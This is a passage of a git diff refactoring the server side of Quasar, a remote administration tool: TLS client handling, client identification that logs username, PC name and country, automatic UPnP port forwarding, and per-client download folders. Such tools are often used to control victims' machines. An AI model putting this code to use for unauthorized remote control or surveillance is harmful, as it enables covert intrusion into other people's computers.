headerLength; + _writeOffset += headerLength; + _readOffset += headerLength; + _receiveState = ReceiveType.Payload; + } + else // _readableDataLen + _writeOffset < HeaderSize + { + // received only a part of the header + try + { + Array.Copy(readBuffer, _readOffset, _payloadBuffer, _writeOffset, _readableDataLen); + } + catch (Exception) + { + process = false; + Disconnect(); + break; + } + _readOffset += _readableDataLen; + _writeOffset += _readableDataLen; + process = false; + // nothing left to process + } + break; + } + case ReceiveType.Payload: + { + int length = (_writeOffset - HeaderSize + _readableDataLen) >= _payloadLen + ? _payloadLen - (_writeOffset - HeaderSize) + : _readableDataLen; + + try + { + Array.Copy(readBuffer, _readOffset, _payloadBuffer, _writeOffset, length); + } + catch (Exception) + { + process = false; + Disconnect(); + break; + } + + _writeOffset += length; + _readOffset += length; + _readableDataLen -= length; + + if (_writeOffset - HeaderSize == _payloadLen) + { + // completely received payload + try + { + using (PayloadReader pr = new PayloadReader(_payloadBuffer, _payloadLen + HeaderSize, false)) + { + IMessage message = pr.ReadMessage(); + + OnClientRead(message, _payloadBuffer.Length); + } + } + catch (Exception) + { + process = false; + Disconnect(); + break; + } + + _receiveState = ReceiveType.Header; + _payloadLen = 0; + _writeOffset = 0; + } + + if (_readableDataLen == 0) + process = false; + + break; + } + } + } + + _readOffset = 0; + _readableDataLen = 0; + } + } + + /// + /// Sends a message to the connected client. + /// + /// The type of the message. + /// The message to be sent. + public void Send(T message) where T : IMessage + { + if (!Connected || message == null) return; + + lock (_sendBuffers) + { + _sendBuffers.Enqueue(message); + + lock (_sendingMessagesLock) + { + if (_sendingMessages) return; + + _sendingMessages = true; + ThreadPool.QueueUserWorkItem(ProcessSendBuffers); + } + } + } + + /// + /// Sends a message to the connected client. + /// Blocks the thread until the message has been sent. + /// + /// The type of the message. + /// The message to be sent. + public void SendBlocking(T message) where T : IMessage + { + if (!Connected || message == null) return; + + SafeSendMessage(message); + } + + /// + /// Safely sends a message and prevents multiple simultaneous + /// write operations on the . + /// + /// The message to send. + private void SafeSendMessage(IMessage message) + { + try + { + _singleWriteMutex.WaitOne(); + using (PayloadWriter pw = new PayloadWriter(_stream, true)) + { + OnClientWrite(message, pw.WriteMessage(message)); + } + } + catch (Exception) + { + Disconnect(); + SendCleanup(true); + } + finally + { + _singleWriteMutex.ReleaseMutex(); + } + } + + private void ProcessSendBuffers(object state) + { + while (true) + { + if (!Connected) + { + SendCleanup(true); + return; + } + + IMessage message; + lock (_sendBuffers) + { + if (_sendBuffers.Count == 0) + { + SendCleanup(); + return; + } + + message = _sendBuffers.Dequeue(); + } + + SafeSendMessage(message); + } + } + + private void SendCleanup(bool clear = false) + { + lock (_sendingMessagesLock) + { + _sendingMessages = false; + } + + if (!clear) return; + + lock (_sendBuffers) + { + _sendBuffers.Clear(); + } + } + + /// + /// Disconnect the client from the server and dispose of + /// resources associated with the client. + /// + public void Disconnect() + { + if (_stream != null) + { + _stream.Close(); + _readOffset = 0; + _writeOffset = 0; + _readableDataLen = 0; + _payloadLen = 0; + _payloadBuffer = null; + _receiveState = ReceiveType.Header; + _singleWriteMutex.Dispose(); + + _bufferPool.ReturnBuffer(_readBuffer); + } + + OnClientState(false); + } + } +} diff --git a/Quasar.Server/Networking/QuasarServer.cs b/Quasar.Server/Networking/QuasarServer.cs new file mode 100644 index 000000000..fa8d5d495 --- /dev/null +++ b/Quasar.Server/Networking/QuasarServer.cs @@ -0,0 +1,164 @@ +using Quasar.Common.Cryptography; +using Quasar.Common.Messages; +using System; +using System.Linq; +using System.Security.Cryptography; +using System.Security.Cryptography.X509Certificates; +using System.Text; + +namespace Quasar.Server.Networking +{ + public class QuasarServer : Server + { + /// + /// Gets the clients currently connected and identified to the server. + /// + public Client[] ConnectedClients + { + get { return Clients.Where(c => c != null && c.Identified).ToArray(); } + } + + /// + /// Occurs when a client connected. + /// + public event ClientConnectedEventHandler ClientConnected; + + /// + /// Represents the method that will handle the connected client. + /// + /// The connected client. + public delegate void ClientConnectedEventHandler(Client client); + + /// + /// Fires an event that informs subscribers that the client is connected. + /// + /// The connected client. + private void OnClientConnected(Client client) + { + if (ProcessingDisconnect || !Listening) return; + var handler = ClientConnected; + handler?.Invoke(client); + } + + /// + /// Occurs when a client disconnected. + /// + public event ClientDisconnectedEventHandler ClientDisconnected; + + /// + /// Represents the method that will handle the disconnected client. + /// + /// The disconnected client. + public delegate void ClientDisconnectedEventHandler(Client client); + + /// + /// Fires an event that informs subscribers that the client is disconnected. + /// + /// The disconnected client. + private void OnClientDisconnected(Client client) + { + if (ProcessingDisconnect || !Listening) return; + var handler = ClientDisconnected; + handler?.Invoke(client); + } + + /// + /// Constructor, initializes required objects and subscribes to events of the server. + /// + /// The server certificate. + public QuasarServer(X509Certificate2 serverCertificate) : base(serverCertificate) + { + base.ClientState += OnClientState; + base.ClientRead += OnClientRead; + } + + /// + /// Decides if the client connected or disconnected. + /// + /// The server the client is connected to. + /// The client which changed its state. + /// True if the client connected, false if disconnected. + private void OnClientState(Server server, Client client, bool connected) + { + if (!connected) + { + if (client.Identified) + { + OnClientDisconnected(client); + } + } + } + + /// + /// Forwards received messages from the client to the MessageHandler. + /// + /// The server the client is connected to. + /// The client which has received the message. + /// The received message. + private void OnClientRead(Server server, Client client, IMessage message) + { + if (!client.Identified) + { + if (message.GetType() == typeof (ClientIdentification)) + { + client.Identified = IdentifyClient(client, (ClientIdentification) message); + if (client.Identified) + { + client.Send(new ClientIdentificationResult {Result = true}); // finish handshake + OnClientConnected(client); + } + else + { + // identification failed + client.Disconnect(); + } + } + else + { + // no messages of other types are allowed as long as client is in unidentified state + client.Disconnect(); + } + return; + } + + MessageHandler.Process(client, message); + } + + private bool IdentifyClient(Client client, ClientIdentification packet) + { + if (packet.Id.Length != 64) + return false; + + client.Value.Version = packet.Version; + client.Value.OperatingSystem = packet.OperatingSystem; + client.Value.AccountType = packet.AccountType; + client.Value.Country = packet.Country; + client.Value.CountryCode = packet.CountryCode; + client.Value.Id = packet.Id; + client.Value.Username = packet.Username; + client.Value.PcName = packet.PcName; + client.Value.Tag = packet.Tag; + client.Value.ImageIndex = packet.ImageIndex; + client.Value.EncryptionKey = packet.EncryptionKey; + + // TODO: Refactor tooltip + //if (Settings.ShowToolTip) + // client.Send(new GetSystemInfo()); + +#if !DEBUG + try + { + var csp = (RSACryptoServiceProvider)ServerCertificate.PublicKey.Key; + return csp.VerifyHash(Sha256.ComputeHash(Encoding.UTF8.GetBytes(packet.EncryptionKey)), + CryptoConfig.MapNameToOID("SHA256"), packet.Signature); + } + catch (Exception) + { + return false; + } +#else + return true; +#endif + } + } +} diff --git a/Server/Core/Networking/Server.cs b/Quasar.Server/Networking/Server.cs similarity index 58% rename from Server/Core/Networking/Server.cs rename to Quasar.Server/Networking/Server.cs index 1b771e9f7..3954f1a75 100644 --- a/Server/Core/Networking/Server.cs +++ b/Quasar.Server/Networking/Server.cs @@ -1,14 +1,15 @@ -using System; +using Quasar.Common.Extensions; +using Quasar.Common.Messages; +using System; using System.Collections.Generic; +using System.Linq; using System.Net; +using System.Net.Security; using System.Net.Sockets; -using System.Windows.Forms; -using xServer.Core.Data; -using xServer.Core.NetSerializer; -using xServer.Core.Networking.Utilities; -using xServer.Core.Packets; +using System.Security.Authentication; +using System.Security.Cryptography.X509Certificates; -namespace xServer.Core.Networking +namespace Quasar.Server.Networking { public class Server { @@ -36,10 +37,7 @@ private void OnServerState(bool listening) Listening = listening; var handler = ServerState; - if (handler != null) - { - handler(this, listening, Port); - } + handler?.Invoke(this, listening, Port); } /// @@ -62,74 +60,64 @@ private void OnServerState(bool listening) /// The new connection state of the client. private void OnClientState(Client c, bool connected) { - var handler = ClientState; - if (!connected) RemoveClient(c); - if (handler != null) - { - handler(this, c, connected); - } + var handler = ClientState; + handler?.Invoke(this, c, connected); } /// - /// Occurs when a packet is received by a client. + /// Occurs when a message is received by a client. /// public event ClientReadEventHandler ClientRead; /// - /// Represents a method that will handle a packet received from a client. + /// Represents a method that will handle a message received from a client. /// /// The server, the client is connected to. - /// The client that has received the packet. - /// The packet that received by the client. - public delegate void ClientReadEventHandler(Server s, Client c, IPacket packet); + /// The client that has received the message. + /// The message that received by the client. + public delegate void ClientReadEventHandler(Server s, Client c, IMessage message); /// - /// Fires an event that informs subscribers that a packet has been + /// Fires an event that informs subscribers that a message has been /// received from the client. /// - /// The client that has received the packet. - /// The packet that received by the client. - private void OnClientRead(Client c, IPacket packet) + /// The client that has received the message. + /// The message that received by the client. + /// The length of the message. + private void OnClientRead(Client c, IMessage message, int messageLength) { + BytesReceived += messageLength; var handler = ClientRead; - if (handler != null) - { - handler(this, c, packet); - } + handler?.Invoke(this, c, message); } /// - /// Occurs when a packet is sent by a client. + /// Occurs when a message is sent by a client. /// public event ClientWriteEventHandler ClientWrite; /// - /// Represents the method that will handle the sent packet by a client. + /// Represents the method that will handle the sent message by a client. /// /// The server, the client is connected to. - /// The client that has sent the packet. - /// The packet that has been sent by the client. - /// The length of the packet. - /// The packet in raw bytes. - public delegate void ClientWriteEventHandler(Server s, Client c, IPacket packet, long length, byte[] rawData); + /// The client that has sent the message. + /// The message that has been sent by the client. + public delegate void ClientWriteEventHandler(Server s, Client c, IMessage message); /// - /// Fires an event that informs subscribers that the client has sent a packet. + /// Fires an event that informs subscribers that the client has sent a message. /// - /// The client that has sent the packet. - /// The packet that has been sent by the client. - /// The length of the packet. - /// The packet in raw bytes. - private void OnClientWrite(Client c, IPacket packet, long length, byte[] rawData) + /// The client that has sent the message. + /// The message that has been sent by the client. + /// The length of the message. + private void OnClientWrite(Client c, IMessage message, int messageLength) { + BytesSent += messageLength; var handler = ClientWrite; - if (handler != null) - { - handler(this, c, packet, length, rawData); - } + handler?.Invoke(this, c, message); } /// @@ -150,32 +138,22 @@ private void OnClientWrite(Client c, IPacket packet, long length, byte[] rawData /// /// The buffer size for receiving data in bytes. /// - public int BUFFER_SIZE { get { return 1024 * 16; } } // 16KB + private const int BufferSize = 1024 * 16; // 16 KB /// /// The keep-alive time in ms. /// - public uint KEEP_ALIVE_TIME { get { return 25000; } } // 25s + private const uint KeepAliveTime = 25000; // 25 s /// /// The keep-alive interval in ms. /// - public uint KEEP_ALIVE_INTERVAL { get { return 25000; } } // 25s - - /// - /// The header size in bytes. - /// - public int HEADER_SIZE { get { return 4; } } // 4B - - /// - /// The maximum size of a packet in bytes. - /// - public int MAX_PACKET_SIZE { get { return (1024 * 1024) * 5; } } // 5MB + private const uint KeepAliveInterval = 25000; // 25 s /// - /// The buffer manager to handle the receive buffers for the clients. + /// The buffer pool to hold the receive-buffers for the clients. /// - public PooledBufferManager BufferManager { get; private set; } + private readonly BufferPool _bufferPool = new BufferPool(BufferSize, 1) { ClearOnReturn = false }; /// /// The listening state of the server. True if listening, else False. @@ -197,14 +175,14 @@ protected Client[] Clients } /// - /// The packet serializer. + /// Handle of the Server Socket. /// - public Serializer Serializer { get; protected set; } + private Socket _handle; /// - /// Handle of the Server Socket. + /// The server certificate. /// - private Socket _handle; + protected readonly X509Certificate2 ServerCertificate; /// /// The event to accept new connections asynchronously. @@ -214,7 +192,12 @@ protected Client[] Clients /// /// List of the clients connected to the server. /// - private List _clients; + private readonly List _clients = new List(); + + /// + /// The UPnP service used to discover, create and delete port mappings. + /// + private UPnPService _UPnPService; /// /// Lock object for the list of clients. @@ -227,78 +210,59 @@ protected Client[] Clients protected bool ProcessingDisconnect { get; set; } /// - /// Constructor of the server, initializes variables. + /// Constructor of the server, initializes serializer types. /// - protected Server() + /// The server certificate. + protected Server(X509Certificate2 serverCertificate) { - _clients = new List(); - BufferManager = new PooledBufferManager(BUFFER_SIZE, 1) { ClearOnReturn = false }; + ServerCertificate = serverCertificate; + TypeRegistry.AddTypesToSerializer(typeof(IMessage), TypeRegistry.GetPacketTypes(typeof(IMessage)).ToArray()); } /// /// Begins listening for clients. /// /// Port to listen for clients on. - public void Listen(ushort port) + /// If set to true, use a dual-stack socket to allow IPv4/6 connections. Otherwise use IPv4-only socket. + /// Enables the automatic UPnP port forwarding. + public void Listen(ushort port, bool ipv6, bool enableUPnP) { + if (Listening) return; this.Port = port; - try - { - if (!Listening) - { - if (_handle != null) - { - _handle.Close(); - _handle = null; - } - - _handle = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); - _handle.Bind(new IPEndPoint(IPAddress.Any, port)); - _handle.Listen(1000); - - ProcessingDisconnect = false; - - OnServerState(true); - - if (_item != null) - { - _item.Dispose(); - _item = null; - } - - _item = new SocketAsyncEventArgs(); - _item.Completed += AcceptClient; - if (!_handle.AcceptAsync(_item)) - AcceptClient(null, _item); - } + if (enableUPnP) + { + _UPnPService = new UPnPService(); + _UPnPService.CreatePortMapAsync(port); } - catch (SocketException ex) + + if (Socket.OSSupportsIPv6 && ipv6) { - if (ex.ErrorCode == 10048) - { - MessageBox.Show("The port is already in use.", "Listen Error", MessageBoxButtons.OK, MessageBoxIcon.Error); - } - else - { - MessageBox.Show( - string.Format( - "An unexpected socket error occurred: {0}\n\nError Code: {1}\n\nPlease report this as fast as possible here:\n{2}/issues", - ex.Message, ex.ErrorCode, Settings.RepositoryURL), "Unexpected Listen Error", MessageBoxButtons.OK, MessageBoxIcon.Error); - } - Disconnect(); + _handle = new Socket(AddressFamily.InterNetworkV6, SocketType.Stream, ProtocolType.Tcp); + _handle.SetSocketOption(SocketOptionLevel.IPv6, SocketOptionName.IPv6Only, 0); + _handle.Bind(new IPEndPoint(IPAddress.IPv6Any, port)); } - catch (Exception) + else { - Disconnect(); + _handle = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); + _handle.Bind(new IPEndPoint(IPAddress.Any, port)); } + _handle.Listen(1000); + + OnServerState(true); + + _item = new SocketAsyncEventArgs(); + _item.Completed += AcceptClient; + + if (!_handle.AcceptAsync(_item)) + AcceptClient(this, _item); } /// - /// Processes and accepts an incoming client. + /// Accepts and begins authenticating an incoming client. /// - /// Unused, use null. - /// Asynchronously Socket Event + /// The sender. + /// Asynchronous socket event. private void AcceptClient(object s, SocketAsyncEventArgs e) { try @@ -308,17 +272,25 @@ private void AcceptClient(object s, SocketAsyncEventArgs e) switch (e.SocketError) { case SocketError.Success: - if (BufferManager.BuffersAvailable == 0) - BufferManager.IncreaseBufferCount(1); - - Client client = new Client(this, e.AcceptSocket); - AddClient(client); - OnClientState(client, true); + SslStream sslStream = null; + try + { + Socket clientSocket = e.AcceptSocket; + clientSocket.SetKeepAliveEx(KeepAliveInterval, KeepAliveTime); + sslStream = new SslStream(new NetworkStream(clientSocket, true), false); + // the SslStream owns the socket and on disposing also disposes the NetworkStream and Socket + sslStream.BeginAuthenticateAsServer(ServerCertificate, false, SslProtocols.Tls12, false, EndAuthenticateClient, + new PendingClient {Stream = sslStream, EndPoint = (IPEndPoint) clientSocket.RemoteEndPoint}); + } + catch (Exception) + { + sslStream?.Close(); + } break; case SocketError.ConnectionReset: break; default: - throw new Exception("SocketError"); + throw new SocketException((int) e.SocketError); } e.AcceptSocket = null; // enable reuse @@ -333,6 +305,33 @@ private void AcceptClient(object s, SocketAsyncEventArgs e) } } + private class PendingClient + { + public SslStream Stream { get; set; } + public IPEndPoint EndPoint { get; set; } + } + + /// + /// Ends the authentication process of a newly connected client. + /// + /// The status of the asynchronous operation. + private void EndAuthenticateClient(IAsyncResult ar) + { + var con = (PendingClient) ar.AsyncState; + try + { + con.Stream.EndAuthenticateAsServer(ar); + + Client client = new Client(_bufferPool, con.Stream, con.EndPoint); + AddClient(client); + OnClientState(client, true); + } + catch (Exception) + { + con.Stream.Close(); + } + } + /// /// Adds a connected client to the list of clients, /// subscribes to the client's events. @@ -388,6 +387,12 @@ public void Disconnect() _item = null; } + if (_UPnPService != null) + { + _UPnPService.DeletePortMapAsync(Port); + _UPnPService = null; + } + lock (_clientsLock) { while (_clients.Count != 0) @@ -410,4 +415,4 @@ public void Disconnect() OnServerState(false); } } -} \ No newline at end of file +} diff --git a/Quasar.Server/Networking/UPnPService.cs b/Quasar.Server/Networking/UPnPService.cs new file mode 100644 index 000000000..18c5bcfdf --- /dev/null +++ b/Quasar.Server/Networking/UPnPService.cs @@ -0,0 +1,77 @@ +using Open.Nat; +using System; +using System.Collections.Generic; +using System.Threading; + +namespace Quasar.Server.Networking +{ + public class UPnPService + { + /// + /// Used to keep track of all created mappings. + /// + private readonly Dictionary _mappings = new Dictionary(); + + /// + /// The discovered UPnP device. + /// + private NatDevice _device; + + /// + /// The NAT discoverer used to discover NAT-UPnP devices. + /// + private NatDiscoverer _discoverer; + + /// + /// Initializes the discovery of new UPnP devices. + /// + public UPnPService() + { + _discoverer = new NatDiscoverer(); + } + + /// + /// Creates a new port mapping on the UPnP device. + /// + /// The port to map. + public async void CreatePortMapAsync(int port) + { + try + { + var cts = new CancellationTokenSource(10000); + _device = await _discoverer.DiscoverDeviceAsync(PortMapper.Upnp, cts); + + Mapping mapping = new Mapping(Protocol.Tcp, port, port); + + await _device.CreatePortMapAsync(mapping); + + if (_mappings.ContainsKey(mapping.PrivatePort)) + _mappings[mapping.PrivatePort] = mapping; + else + _mappings.Add(mapping.PrivatePort, mapping); + } + catch (Exception ex) when (ex is MappingException || ex is NatDeviceNotFoundException) + { + } + } + + /// + /// Deletes an existing port mapping. + /// + /// The port mapping to delete. + public async void DeletePortMapAsync(int port) + { + if (_mappings.TryGetValue(port, out var mapping)) + { + try + { + await _device.DeletePortMapAsync(mapping); + _mappings.Remove(mapping.PrivatePort); + } + catch (Exception ex) when (ex is MappingException || ex is NatDeviceNotFoundException) + { + } + } + } + } +} diff --git a/Quasar.Server/Networking/UserState.cs b/Quasar.Server/Networking/UserState.cs new file mode 100644 index 000000000..523e9b73b --- /dev/null +++ b/Quasar.Server/Networking/UserState.cs @@ -0,0 +1,33 @@ +using Quasar.Common.Cryptography; +using Quasar.Common.Helpers; +using System.IO; +using System.Windows.Forms; + +namespace Quasar.Server.Networking +{ + public class UserState + { + private string _downloadDirectory; + private Aes256 _aesInstance; + + public string Version { get; set; } + public string OperatingSystem { get; set; } + public string AccountType { get; set; } + public int ImageIndex { get; set; } + public string Country { get; set; } + public string CountryCode { get; set; } + public string Id { get; set; } + public string Username { get; set; } + public string PcName { get; set; } + public string UserAtPc => $"{Username}@{PcName}"; + public string CountryWithCode => $"{Country} [{CountryCode}]"; + public string Tag { get; set; } + public string EncryptionKey { get; set; } + + public Aes256 AesInstance => _aesInstance ?? (_aesInstance = new Aes256(EncryptionKey)); + + public string DownloadDirectory => _downloadDirectory ?? (_downloadDirectory = (!FileHelper.HasIllegalCharacters(UserAtPc)) + ? Path.Combine(Application.StartupPath, $"Clients\\{UserAtPc}_{Id.Substring(0, 7)}\\") + : Path.Combine(Application.StartupPath, $"Clients\\{Id}\\")); + } +} diff --git a/Server/Program.cs b/Quasar.Server/Program.cs similarity index 60% rename from Server/Program.cs rename to Quasar.Server/Program.cs index 7c679c070..a8c855036 100644 --- a/Server/Program.cs +++ b/Quasar.Server/Program.cs @@ -1,17 +1,21 @@ -using System; +using Quasar.Server.Forms; +using System; +using System.Net; using System.Windows.Forms; -using xServer.Forms; -namespace xServer +namespace Quasar.Server { internal static class Program { [STAThread] private static void Main() { + // enable TLS 1.2 + ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12; + Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); Application.Run(new FrmMain()); } } -} \ No newline at end of file +} diff --git a/Server/Properties/AssemblyInfo.cs b/Quasar.Server/Properties/AssemblyInfo.cs similarity index 87% rename from Server/Properties/AssemblyInfo.cs rename to Quasar.Server/Properties/AssemblyInfo.cs index 45c23d221..1d180d8dd 100644 --- a/Server/Properties/AssemblyInfo.cs +++ b/Quasar.Server/Properties/AssemblyInfo.cs @@ -5,12 +5,12 @@ // Allgemeine Informationen über eine Assembly werden über die folgenden // Attribute gesteuert. Ändern Sie diese Attributwerte, um die Informationen zu ändern, // die mit einer Assembly verknüpft sind. -[assembly: AssemblyTitle("Quasar")] +[assembly: AssemblyTitle("Quasar Server")] [assembly: AssemblyDescription("Remote Administration Tool")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("Quasar")] -[assembly: AssemblyCopyright("Copyright © MaxX0r 2015")] +[assembly: AssemblyCopyright("Copyright © MaxXor 2023")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] [assembly: InternalsVisibleTo("Server.Tests")] @@ -30,5 +30,5 @@ // Sie können alle Werte angeben oder die standardmäßigen Build- und Revisionsnummern // übernehmen, indem Sie "*" eingeben: // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.2.0.0")] -[assembly: AssemblyFileVersion("1.2.0.0")] +[assembly: AssemblyVersion("1.4.1")] +[assembly: AssemblyFileVersion("1.4.1")] \ No newline at end of file diff --git a/Server/Properties/Resources.Designer.cs b/Quasar.Server/Properties/Resources.Designer.cs similarity index 63% rename from Server/Properties/Resources.Designer.cs rename to Quasar.Server/Properties/Resources.Designer.cs index bc06d6697..787fbb9db 100644 --- a/Server/Properties/Resources.Designer.cs +++ b/Quasar.Server/Properties/Resources.Designer.cs @@ -1,25 +1,25 @@ //------------------------------------------------------------------------------ // -// Dieser Code wurde von einem Tool generiert. -// Laufzeitversion:4.0.30319.42000 +// This code was generated by a tool. +// Runtime Version:4.0.30319.42000 // -// Änderungen an dieser Datei können falsches Verhalten verursachen und gehen verloren, wenn -// der Code erneut generiert wird. +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. // //------------------------------------------------------------------------------ -namespace xServer.Properties { +namespace Quasar.Server.Properties { using System; /// - /// Eine stark typisierte Ressourcenklasse zum Suchen von lokalisierten Zeichenfolgen usw. + /// A strongly-typed resource class, for looking up localized strings, etc. /// - // Diese Klasse wurde von der StronglyTypedResourceBuilder automatisch generiert - // -Klasse über ein Tool wie ResGen oder Visual Studio automatisch generiert. - // Um einen Member hinzuzufügen oder zu entfernen, bearbeiten Sie die .ResX-Datei und führen dann ResGen - // mit der /str-Option erneut aus, oder Sie erstellen Ihr VS-Projekt neu. - [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] + // This class was auto-generated by the StronglyTypedResourceBuilder + // class via a tool like ResGen or Visual Studio. + // To add or remove a member, edit your .ResX file then rerun ResGen + // with the /str option, or rebuild your VS project. + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "16.0.0.0")] [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] internal class Resources { @@ -33,13 +33,13 @@ internal Resources() { } /// - /// Gibt die zwischengespeicherte ResourceManager-Instanz zurück, die von dieser Klasse verwendet wird. + /// Returns the cached ResourceManager instance used by this class. /// [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] internal static global::System.Resources.ResourceManager ResourceManager { get { if (object.ReferenceEquals(resourceMan, null)) { - global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("xServer.Properties.Resources", typeof(Resources).Assembly); + global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Quasar.Server.Properties.Resources", typeof(Resources).Assembly); resourceMan = temp; } return resourceMan; @@ -47,8 +47,8 @@ internal Resources() { } /// - /// Überschreibt die CurrentUICulture-Eigenschaft des aktuellen Threads für alle - /// Ressourcenzuordnungen, die diese stark typisierte Ressourcenklasse verwenden. + /// Overrides the current thread's CurrentUICulture property for all + /// resource lookups using this strongly typed resource class. /// [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] internal static global::System.Globalization.CultureInfo Culture { @@ -61,7 +61,7 @@ internal Resources() { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap actions { get { @@ -71,7 +71,7 @@ internal static System.Drawing.Bitmap actions { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap application_add { get { @@ -81,7 +81,17 @@ internal static System.Drawing.Bitmap application_add { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap application_cascade { + get { + object obj = ResourceManager.GetObject("application_cascade", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap application_delete { get { @@ -91,97 +101,117 @@ internal static System.Drawing.Bitmap application_delete { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// - internal static System.Drawing.Bitmap bricks { + internal static System.Drawing.Bitmap application_edit { get { - object obj = ResourceManager.GetObject("bricks", resourceCulture); + object obj = ResourceManager.GetObject("application_edit", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// - internal static System.Drawing.Bitmap broom { + internal static System.Drawing.Bitmap application_go { get { - object obj = ResourceManager.GetObject("broom", resourceCulture); + object obj = ResourceManager.GetObject("application_go", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// - internal static System.Drawing.Bitmap cancel { + internal static System.Drawing.Bitmap arrow_down { get { - object obj = ResourceManager.GetObject("cancel", resourceCulture); + object obj = ResourceManager.GetObject("arrow_down", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// - internal static System.Drawing.Bitmap computer { + internal static System.Drawing.Bitmap arrow_up { get { - object obj = ResourceManager.GetObject("computer", resourceCulture); + object obj = ResourceManager.GetObject("arrow_up", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// - internal static System.Drawing.Bitmap copy { + internal static System.Drawing.Bitmap bricks { get { - object obj = ResourceManager.GetObject("copy", resourceCulture); + object obj = ResourceManager.GetObject("bricks", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// - internal static System.Drawing.Bitmap delete { + internal static System.Drawing.Bitmap broom { get { - object obj = ResourceManager.GetObject("delete", resourceCulture); + object obj = ResourceManager.GetObject("broom", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// - internal static System.Drawing.Bitmap download { + internal static System.Drawing.Bitmap cancel { get { - object obj = ResourceManager.GetObject("download", resourceCulture); + object obj = ResourceManager.GetObject("cancel", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// - internal static System.Drawing.Bitmap drive_go { + internal static System.Drawing.Bitmap cog { get { - object obj = ResourceManager.GetObject("drive_go", resourceCulture); + object obj = ResourceManager.GetObject("cog", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap computer { + get { + object obj = ResourceManager.GetObject("computer", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap delete { + get { + object obj = ResourceManager.GetObject("delete", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// - internal static System.Drawing.Bitmap eye { + internal static System.Drawing.Bitmap drive_go { get { - object obj = ResourceManager.GetObject("eye", resourceCulture); + object obj = ResourceManager.GetObject("drive_go", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap folder { get { @@ -191,7 +221,7 @@ internal static System.Drawing.Bitmap folder { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap information { get { @@ -201,7 +231,7 @@ internal static System.Drawing.Bitmap information { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap key_go { get { @@ -211,7 +241,7 @@ internal static System.Drawing.Bitmap key_go { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap keyboard_add { get { @@ -221,7 +251,7 @@ internal static System.Drawing.Bitmap keyboard_add { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static 